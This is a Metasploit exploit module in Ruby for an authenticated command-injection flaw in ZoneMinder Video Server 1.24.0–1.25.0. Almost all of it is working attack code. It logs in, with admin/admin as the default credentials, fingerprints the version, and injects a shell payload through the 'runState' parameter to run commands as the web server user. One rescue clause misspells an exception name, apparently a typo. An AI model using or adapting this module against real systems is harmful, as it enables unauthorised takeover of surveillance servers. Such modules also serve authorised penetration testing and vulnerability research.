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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'ZoneMinder Video Server packageControl Command Execution', 'Description'=> %q{ This module exploits a command execution vulnerability in ZoneMinder Video Server version 1.24.0 to 1.25.0 which could be abused to allow authenticated users to execute arbitrary commands under the context of the web server user. The 'packageControl' function in the 'includes/actions.php' file calls 'exec()' with user controlled data from the 'runState' parameter. }, 'References' => [ ['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'], ], 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit ], 'License'=> MSF_LICENSE, 'Privileged' => true, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload'=> { 'BadChars'=> "\x00", 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet python perl bash', }, }, 'Targets'=> [ ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget'=> 0, 'DisclosureDate' => "Jan 22 2013", )) register_options([ OptString.new('USERNAME',[true, 'The ZoneMinder username', 'admin']), OptString.new('PASSWORD',[true, 'The ZoneMinder password', 'admin']), OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/']) ], self.class) end def check peer= "#{rhost}:#{rport}" base= target_uri.path base<< '/' if base[-1, 1] != '/' user= datastore['USERNAME'] pass= datastore['PASSWORD'] cookie= "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6) data= "action=login&view=version&username=#{user}&password=#{pass}" # login and retrieve software version print_status("#{peer} - Authenticating as user '#{user}'") begin res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{base}index.php", 'cookie' => "#{cookie}", 'data' => "#{data}", }) if res and res.code == 200 if res.body =~ /<title>ZM - Login<\/title>/ print_error("#{peer} - Authentication failed") return Exploit::CheckCode::Unknown elsif res.body =~ /v1.2(4\.\d+|5\.0)/ return Exploit::CheckCode::Appears elsif res.body =~ /<title>ZM/ return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def exploit @peer= "#{rhost}:#{rport}" base = target_uri.path base<< '/' if base[-1, 1] != '/' cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6) user = datastore['USERNAME'] pass = datastore['PASSWORD'] data = "action=login&view=postlogin&username=#{user}&password=#{pass}" command= Rex::Text.uri_encode(payload.encoded) # login print_status("#{@peer} - Authenticating as user '#{user}'") begin res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{base}index.php", 'cookie' => "#{cookie}", 'data' => "#{data}", }) if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/ fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end print_good("#{@peer} - Authenticated successfully") # send payload print_status("#{@peer} - Sending payload (#{command.length} bytes)") begin res = send_request_cgi({ 'method'=> 'POST', 'uri' => "#{base}index.php", 'data'=> "view=none&action=state&runState=start;#{command}%26", 'cookie'=> "#{cookie}" }) if res and res.code == 200 print_good("#{@peer} - Payload sent successfully") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end end end |
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